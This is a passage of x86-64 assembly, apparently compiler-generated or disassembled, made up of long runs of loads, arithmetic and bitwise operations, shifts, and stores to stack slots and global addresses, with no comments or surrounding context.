movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x150], al
movsx eax, word [rsp + 0xf30]
mov rcx, qword [rsp + 0xa860]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xd48], ax
mov rax, qword [rsp + 0xa6a8]
mov eax, dword [rax]
mov dword [rsp + 0x43d0], eax
mov rax, qword [rsp + 0xa698]
mov ecx, dword [rsp + 0x4378]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xae08]
mov dword [rcx], eax
lea rax, [rsp + 0x183]
mov qword [rsp + 0xaf48], rax
movzx eax, word [rsp + 0xee4]
movzx ecx, word [rsp + 0xdb8]
xor eax, ecx
mov word [rsp + 0xff0], ax
mov rax, qword [rsp + 0xa758]
mov ecx, dword [rsp + 0x41fc]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019bf5c], eax
lea rax, [rsp + 0x4270]
mov qword [rsp + 0xaf50], rax
mov rax, qword [rsp + 0xadb0]
mov rcx, qword [rsp + 0xaf18]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa670]
mov dword [rcx], eax
mov eax, dword [rsp + 0x431c]
mov ecx, dword [rsp + 0x4360]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xab08]
mov dword [rcx], eax
lea rax, [rsp + 0xec0]
mov qword [rsp + 0xaf58], rax
movzx eax, byte [rsp + 0x16e]
mov rcx, qword [rsp + 0xae18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x158], al
mov eax, dword [rsp + 0x3fdc]
mov dword [rsp + 0x43d4], eax
mov rax, qword [rsp + 0xa960]
mov rcx, qword [rsp + 0xab80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3af4], eax
mov rax, qword [rsp + 0xaaa8]
mov rcx, qword [rsp + 0xa568]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x439c], eax
mov eax, dword [rsp + 0x3fdc]
mov ecx, dword [rsp + 0x4180]
add ecx, eax
mov eax, ecx
mov dword [0x14019d7e0], eax
mov eax, dword [rsp + 0x3908]
mov ecx, dword [rsp + 0x3af4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e4c], eax
mov rax, qword [rsp + 0xa7f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa6b0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa5f8]
mov word [rcx], ax
mov rax, qword [rsp + 0xaeb8]
movzx eax, byte [rax]
mov byte [rsp + 0x19a], al
movzx eax, byte [rsp + 0x176]
mov rcx, qword [rsp + 0xa8e0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x160], al
movzx eax, word [rsp + 0xf88]
mov rcx, qword [rsp + 0xaae8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xae28]
mov word [rcx], ax
lea rax, [rsp + 0x3418]
mov qword [rsp + 0xaf60], rax
mov rax, qword [rsp + 0xa590]
mov eax, dword [rax]
mov ecx, dword [0x14019bf60]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa6a0]
mov dword [rcx], eax
lea rax, [rsp + 0xb08]
mov qword [rsp + 0xaf68], rax
mov rax, qword [rsp + 0xae48]
movzx eax, byte [rax]
mov byte [0x14019d7b2], al
mov eax, dword [0x14019d908]
mov rcx, qword [rsp + 0xa8a8]
mov qword [rsp + 0xaf70], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaf70]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xacc0]
mov dword [rcx], eax
lea rax, [rsp + 0x4398]
mov qword [rsp + 0xaf78], rax
mov rax, qword [rsp + 0xa7d8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4000]
shl eax, cl
mov rcx, qword [rsp + 0xabf0]
mov dword [rcx], eax
mov rax, qword [0x14019d7f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42f0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xadb8]
movzx eax, byte [rax]
mov byte [rsp + 0x19b], al
movzx eax, word [rsp + 0xff4]
mov rcx, qword [rsp + 0xa730]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf18], ax
lea rax, [rsp + 0x42a0]
mov qword [rsp + 0xaf80], rax
mov eax, dword [rsp + 0x43a8]
mov ecx, dword [rsp + 0x42d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4328], eax
movsx eax, word [rsp + 0xf9c]
movsx ecx, word [rsp + 0xee0]
add eax, ecx
mov word [0x14019bf64], ax
mov rax, qword [0x14019d950]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14b]
add eax, ecx
mov rcx, qword [rsp + 0xaa98]
mov byte [rcx], al
mov rax, qword [rsp + 0xae18]
movzx eax, byte [rax]
mov byte [rsp + 0x19c], al
movzx eax, word [rsp + 0xee4]
movzx ecx, word [rsp + 0xef8]
add eax, ecx
mov word [rsp + 0xebc], ax
lea rax, [rsp + 0x3348]
mov qword [rsp + 0xaf88], rax
mov rax, qword [rsp + 0xa988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4210], eax
mov rax, qword [rsp + 0xa5c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e4c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa5b0]
mov dword [rcx], eax
lea rax, [0x14019bee8]
mov qword [rsp + 0xaf90], rax
mov rax, qword [rsp + 0xaab8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4370]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaa10]
mov dword [rcx], eax
lea rax, [rsp + 0xf4c]
mov qword [rsp + 0xaf98], rax
mov rax, qword [rsp + 0xac28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x170]
sub eax, ecx
mov byte [0x140199009], al
mov rax, qword [rsp + 0xa4d8]
mov rcx, qword [rsp + 0xacb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x42c8], eax
mov eax, dword [rsp + 0x42d8]
mov rcx, qword [rsp + 0xad30]
mov qword [rsp + 0xafa0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xafa0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xa8f8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4310]
mov dword [rsp + 0x43d8], eax
mov rax, qword [rsp + 0xacf8]
mov ecx, dword [rsp + 0x3fac]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xaaa0]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf0c]
mov word [rsp + 0x1000], ax
mov rax, qword [rsp + 0xaba8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x163]
shl eax, cl
mov rcx, qword [rsp + 0xa720]
mov byte [rcx], al
lea rax, [rsp + 0x184]
mov qword [rsp + 0xafa8], rax
movsx eax, word [rsp + 0xfa0]
movsx ecx, word [rsp + 0xee0]
or eax, ecx
mov word [rsp + 0xf48], ax
mov rax, qword [rsp + 0xa368]
mov ecx, dword [rsp + 0x3348]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x14019d8c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaa00]
mov ecx, dword [rsp + 0x3694]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4268], eax
movzx eax, byte [rsp + 0x163]
mov byte [rsp + 0x19d], al
mov rax, qword [rsp + 0xada8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xad68]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xeb4], ax
lea rax, [rsp + 0x430c]
mov qword [rsp + 0xafb0], rax
mov eax, dword [rsp + 0x423c]
mov ecx, dword [rsp + 0x4238]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4258], eax
mov rax, qword [rsp + 0xa6b8]
mov ecx, dword [rsp + 0x41e4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xab58]
mov dword [rcx], eax
lea rax, [rsp + 0x4184]
mov qword [rsp + 0xafb8], rax
movzx eax, byte [rsp + 0x172]
mov rcx, qword [0x14019d890]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x190], al
lea rax, [rsp + 0xf88]
mov qword [0x14019d968], rax
mov eax, dword [rsp + 0x4130]
mov dword [rsp + 0x43dc], eax
mov rax, qword [rsp + 0xad58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4328], eax
mov eax, dword [rsp + 0x41dc]
mov ecx, dword [rsp + 0x42e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4198], eax
mov rax, qword [rsp + 0xa8d0]
mov eax, dword [rax]
mov dword [rsp + 0x43e0], eax
mov rax, qword [rsp + 0xab88]
mov rcx, qword [rsp + 0xa7b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x41cc], eax
mov rax, qword [0x14019d7a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xadd0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xd44], ax
movsx eax, byte [rsp + 0x169]
movsx ecx, byte [rsp + 0x16d]
xor eax, ecx
mov byte [rsp + 0x19a], al
mov rax, qword [rsp + 0xab40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf98]
sar eax, cl
mov rcx, qword [rsp + 0xaf68]
mov word [rcx], ax
mov rax, qword [rsp + 0xaeb0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x153]
or eax, ecx
mov rcx, qword [0x14019d890]
mov byte [rcx], al
mov eax, dword [rsp + 0x41f8]
mov dword [rsp + 0x43e4], eax
mov rax, qword [rsp + 0xa678]
mov eax, dword [rax]
mov ecx, dword [0x14019bf10]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4258], eax
mov rax, qword [rsp + 0xa9d8]
movzx eax, byte [rax]
mov byte [rsp + 0x19e], al
mov rax, qword [rsp + 0xa850]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf08]
sub eax, ecx
mov word [rsp + 0xef0], ax
lea rax, [rsp + 0x42d8]
mov qword [rsp + 0xafc0], rax
mov eax, dword [rsp + 0x4250]
mov ecx, dword [rsp + 0x43e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x419c], eax
mov rax, qword [rsp + 0xa7d8]
mov rcx, qword [rsp + 0xa8f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4330], eax
lea rax, [0x14019bf2c]
mov qword [rsp + 0xafc8], rax
lea rax, [rsp + 0x17c]
mov qword [0x14019d970], rax
mov rax, qword [rsp + 0xa448]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa500]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf08], ax
mov eax, dword [rsp + 0x41f8]
mov dword [rsp + 0x43e8], eax
mov rax, qword [rsp + 0xa8a0]
mov rcx, qword [rsp + 0xaa90]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x437c], eax
movsx eax, byte [rsp + 0x16f]
movsx ecx, byte [rsp + 0x184]
add eax, ecx
mov byte [rsp + 0x16d], al
movzx eax, word [rsp + 0xf7c]
mov word [rsp + 0x1004], ax
movzx eax, word [rsp + 0xf44]
mov rcx, qword [rsp + 0xaf20]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaed0]
mov word [rcx], ax
lea rax, [rsp + 0x175]
mov qword [rsp + 0xafd0], rax
mov rax, qword [0x14019d7b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3418]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa590]
mov ecx, dword [rsp + 0x36fc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x14019d848]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa950]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x42a0]
shl eax, cl
mov rcx, qword [rsp + 0xad98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa798]
mov eax, dword [rax]
mov dword [rsp + 0x43ec], eax
mov eax, dword [rsp + 0x4198]
mov rcx, qword [rsp + 0xafb0]
mov qword [rsp + 0xafd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xafd8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4370], eax
mov rax, qword [rsp + 0xac08]
movzx eax, word [rax]
mov word [rsp + 0x1008], ax
mov rax, qword [rsp + 0xaa28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa628]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa720]
mov byte [rcx], al
lea rax, [rsp + 0x38a0]
mov qword [rsp + 0xafe0], rax
mov rax, qword [rsp + 0xacb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4238]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x435c], eax
mov eax, dword [rsp + 0x3f98]
mov ecx, dword [0x14019bee8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x43c8], eax
lea rax, [rsp + 0x426c]
mov qword [0x14019d978], rax
movzx eax, word [rsp + 0xf3c]
mov word [rsp + 0x100c], ax
movzx eax, byte [rsp + 0x16b]
mov rcx, qword [0x14019d858]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x191], al
lea rax, [rsp + 0x15a]
mov qword [rsp + 0xafe8], rax
movsx eax, word [rsp + 0xf30]
mov rcx, qword [rsp + 0xa6b0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaae0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa7f0]
mov ecx, dword [0x14019d908]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4274], eax
lea rax, [rsp + 0x3f98]
mov qword [rsp + 0xaff0], rax
mov rax, qword [rsp + 0xa908]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x19d]
add eax, ecx
mov rcx, qword [rsp + 0xa908]
mov byte [rcx], al
mov rax, qword [0x14019d878]
movzx eax, word [rax]
mov word [rsp + 0x1010], ax
mov rax, qword [rsp + 0xacc8]
mov ecx, dword [rsp + 0x4194]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019bf68], eax
mov eax, dword [rsp + 0x4368]
mov ecx, dword [rsp + 0x4334]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ef8], eax
mov rax, qword [0x14019d930]
mov rcx, qword [rsp + 0xab58]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xad30]
mov dword [rcx], eax
mov eax, dword [rsp + 0x41e8]
mov dword [rsp + 0x43f0], eax
movzx eax, byte [rsp + 0x19e]
movzx ecx, byte [rsp + 0x193]
sub eax, ecx
mov byte [rsp + 0x159], al
movzx eax, word [rsp + 0xf38]
movzx ecx, word [rsp + 0xb08]
sub eax, ecx
mov word [rsp + 0xb44], ax
mov rax, qword [rsp + 0xa7c8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa7d8]
mov qword [rsp + 0xaff8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaff8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4378], eax
mov eax, dword [rsp + 0x4150]
movzx ecx, al
mov eax, dword [rsp + 0x43a0]
shl eax, cl
mov rcx, qword [rsp + 0xae90]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3418]
mov dword [rsp + 0x43f4], eax
mov rax, qword [rsp + 0xaaf0]
mov rcx, qword [rsp + 0xaad0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14019bf30], eax
mov rax, qword [rsp + 0xafb0]
mov ecx, dword [rsp + 0x4394]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xae08]
mov dword [rcx], eax
movzx eax, word [rsp + 0xfa0]
mov word [rsp + 0x1014], ax
movsx eax, byte [rsp + 0x67]
movsx ecx, byte [rsp + 0x199]
and eax, ecx
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0xa940]
movzx eax, byte [rax]
mov byte [rsp + 0x19f], al
movzx eax, word [rsp + 0xec0]
mov rcx, qword [rsp + 0xaf58]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa850]
mov word [rcx], ax
mov rax, qword [rsp + 0xa728]
mov ecx, dword [rsp + 0x4364]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa888]
mov dword [rcx], eax
lea rax, [rsp + 0x4298]
mov qword [rsp + 0xb000], rax
mov rax, qword [rsp + 0xad68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa828]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
lea rax, [rsp + 0x191]
mov qword [0x14019d980], rax
mov eax, dword [rsp + 0x4234]
mov dword [rsp + 0x43f8], eax
mov eax, dword [rsp + 0x4278]
mov ecx, dword [0x14019bf2c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa670]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4218]
mov ecx, dword [rsp + 0x4270]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4168], eax
lea rax, [rsp + 0x3f5c]
mov qword [rsp + 0xb008], rax
movzx eax, byte [rsp + 0x151]
mov rcx, qword [rsp + 0xadc8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x160], al
lea rax, [rsp + 0xf50]
mov qword [rsp + 0xb010], rax
mov rax, qword [rsp + 0xaaf8]
mov rcx, qword [rsp + 0xaab8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa680]
mov dword [rcx], eax
mov rax, qword [rsp + 0xac10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x426c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x400c], eax
movsx eax, word [rsp + 0xd48]
movsx ecx, word [rsp + 0xfb4]
sar eax, cl
mov rcx, qword [0x14019d898]
mov word [rcx], ax
lea rax, [0x14019900b]
mov qword [rsp + 0xb018], rax
mov rax, qword [rsp + 0xaed0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaee0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa640]
mov word [rcx], ax
lea rax, [rsp + 0x19f]
mov qword [rsp + 0xb020], rax
mov rax, qword [0x14019d7f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xacc0]
mov qword [rsp + 0xb028], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb028]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4070], eax
lea rax, [rsp + 0x4280]
mov qword [rsp + 0xb030], rax
mov rax, qword [rsp + 0xa4a0]
mov rcx, qword [rsp + 0xac68]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x42f4], eax
mov rax, qword [rsp + 0xafc0]
mov ecx, dword [rsp + 0x41c8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4348], eax
lea rax, [rsp + 0x41cc]
mov qword [rsp + 0xb038], rax
mov rax, qword [rsp + 0xac40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa400]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xfb8], ax
movzx eax, byte [0x14019bf06]
mov byte [0x14019d7b3], al
lea rax, [rsp + 0x4190]
mov qword [rsp + 0xb040], rax
mov rax, qword [rsp + 0xa820]
mov rcx, qword [rsp + 0xad48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x43cc], eax
mov rax, qword [rsp + 0xa8f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4354]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae78]
mov dword [rcx], eax
lea rax, [rsp + 0x4274]
mov qword [rsp + 0xb048], rax
movzx eax, byte [rsp + 0x15d]
mov rcx, qword [rsp + 0xaee8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x17f], al
lea rax, [rsp + 0xf28]
mov qword [rsp + 0xb050], rax
movsx eax, word [rsp + 0xed8]
mov rcx, qword [rsp + 0xa658]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf48], ax
movsx eax, byte [rsp + 0x169]
movsx ecx, byte [rsp + 0x18c]
sub eax, ecx
mov rcx, qword [rsp + 0xab70]
mov byte [rcx], al
mov eax, dword [rsp + 0x4230]
mov ecx, dword [rsp + 0x41fc]
add ecx, eax
mov eax, ecx
mov dword [0x14019bf5c], eax
lea rax, [rsp + 0x4288]
mov qword [rsp + 0xb058], rax
movzx eax, word [rsp + 0xf38]
movzx ecx, word [rsp + 0xf4c]
sub eax, ecx
mov word [rsp + 0xec8], ax
lea rax, [rsp + 0x147]
mov qword [rsp + 0xb060], rax
mov rax, qword [rsp + 0xa698]
mov rcx, qword [rsp + 0xa6a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xaa30]
mov dword [rcx], eax
mov eax, dword [rsp + 0x43b0]
mov ecx, dword [rsp + 0x43bc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa508]
mov dword [rcx], eax
lea rax, [0x14019bf60]
mov qword [rsp + 0xb068], rax
mov eax, dword [rsp + 0x4184]
mov ecx, dword [rsp + 0x4260]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaaf0]
mov dword [rcx], eax
movzx eax, word [rsp + 0xef0]
mov word [rsp + 0x1018], ax
lea rax, [rsp + 0x155]
mov qword [0x14019d988], rax
mov eax, dword [rsp + 0x43f0]
movzx ecx, al
mov eax, dword [0x14019bef4]
shr eax, cl
mov rcx, qword [rsp + 0xae10]
mov dword [rcx], eax
lea rax, [rsp + 0x4174]
mov qword [rsp + 0xb070], rax
mov eax, dword [rsp + 0x4198]
mov rcx, qword [rsp + 0xa910]
mov qword [rsp + 0xb078], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb078]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3c48], eax
mov rax, qword [rsp + 0xae08]
mov ecx, dword [rsp + 0x42b0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa820]
mov dword [rcx], eax
lea rax, [rsp + 0x436c]
mov qword [rsp + 0xb080], rax
mov rax, qword [rsp + 0xaa98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaa20]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x19a], al
lea rax, [rsp + 0xa94]
mov qword [rsp + 0xb088], rax
movzx eax, byte [rsp + 0x18a]
mov rcx, qword [rsp + 0xa890]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xad18]
mov byte [rcx], al
movzx eax, word [rsp + 0xf90]
mov rcx, qword [0x14019d910]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14019d8f8]
mov word [rcx], ax
mov rax, qword [rsp + 0xaaa8]
mov rcx, qword [rsp + 0xa678]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x42b4], eax
lea rax, [rsp + 0x4274]
mov qword [rsp + 0xb090], rax
mov rax, qword [rsp + 0xa890]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa9d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x183], al
mov rax, qword [rsp + 0xa850]
movzx eax, word [rax]
mov word [rsp + 0x101c], ax
mov eax, dword [rsp + 0x4384]
mov ecx, dword [rsp + 0x4368]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x43d4], eax
mov rax, qword [rsp + 0xb030]
mov ecx, dword [rsp + 0x427c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xabe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xac10]
mov eax, dword [rax]
mov dword [rsp + 0x43fc], eax
mov rax, qword [rsp + 0xa6f8]
mov ecx, dword [rsp + 0x41e4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xab78]
mov dword [rcx], eax
movzx eax, word [0x14019d850]
movzx ecx, word [rsp + 0xd5c]
sub eax, ecx
mov word [0x14019bf6c], ax
lea rax, [rsp + 0x156]
mov qword [rsp + 0xb098], rax
mov rax, qword [rsp + 0xaa60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4214]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xace0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x426c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xad30]
mov dword [rcx], eax
lea rax, [rsp + 0xf30]
mov qword [rsp + 0xb0a0], rax
movsx eax, byte [rsp + 0x18f]
mov rcx, qword [rsp + 0xa7d0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa818]
mov byte [rcx], al
movzx eax, word [0x14019d850]
mov word [rsp + 0x1020], ax
mov rax, qword [rsp + 0xa618]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x189]
xor eax, ecx
mov rcx, qword [rsp + 0xa9c0]
mov byte [rcx], al
mov rax, qword [rsp + 0xace0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x43f0]
shr eax, cl
mov dword [rsp + 0x3b2c], eax
mov rax, qword [rsp + 0xabd0]
mov eax, dword [rax]
mov ecx, dword [0x14019bf40]
and ecx, eax
mov eax, ecx
mov dword [0x14019bf4c], eax
mov rax, qword [rsp + 0xaf30]
mov rcx, qword [rsp + 0xa7d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaf80]
mov dword [rcx], eax
mov rax, qword [rsp + 0xab08]
mov ecx, dword [0x14019d908]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x431c], eax
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
mov dword [rsp + 0x4400], eax
mov rax, qword [rsp + 0xa9d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x159]
and eax, ecx
mov byte [rsp + 0x176], al
mov rax, qword [rsp + 0xaec8]
movzx eax, word [rax]
mov word [rsp + 0x1024], ax
mov eax, dword [rsp + 0x4170]
mov ecx, dword [rsp + 0x41b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4368], eax
mov eax, dword [rsp + 0x43b0]
mov ecx, dword [rsp + 0x4070]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x420c], eax
lea rax, [0x14019d790]
mov qword [rsp + 0xb0a8], rax
lea rax, [rsp + 0x43c4]
mov qword [0x14019d990], rax
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe6c]
add eax, ecx
mov rcx, qword [rsp + 0xac08]
mov word [rcx], ax
mov rax, qword [rsp + 0xacb8]
movzx eax, byte [rax]
mov byte [rsp + 0x1a0], al
mov rax, qword [0x14019d7a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa808]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1004], ax
movsx eax, byte [rsp + 0x184]
mov rcx, qword [rsp + 0xaa98]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa9e0]
mov byte [rcx], al
mov eax, dword [rsp + 0x3fac]
mov dword [rsp + 0x4404], eax
mov eax, dword [rsp + 0x42a8]
mov ecx, dword [rsp + 0x3f98]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb000]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa9c8]
movzx eax, word [rax]
mov word [rsp + 0x1028], ax
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [0x14019d797]
sar eax, cl
mov rcx, qword [rsp + 0xaa78]
mov byte [rcx], al
mov eax, dword [rsp + 0x4194]
mov ecx, dword [rsp + 0x43bc]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x14019d7d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa4a0]
mov eax, dword [rax]
mov dword [rsp + 0x4408], eax
mov rax, qword [0x14019d930]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa8e8]
mov qword [rsp + 0xb0b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb0b0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa980]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa870]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42c0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3418], eax
lea rax, [rsp + 0x168]
mov qword [rsp + 0xb0b8], rax
movzx eax, word [rsp + 0xb08]
mov rcx, qword [0x14019d838]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf58], ax
mov eax, dword [rsp + 0x4380]
mov dword [rsp + 0x440c], eax
mov rax, qword [rsp + 0xa6f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42e4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa6a0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4390]
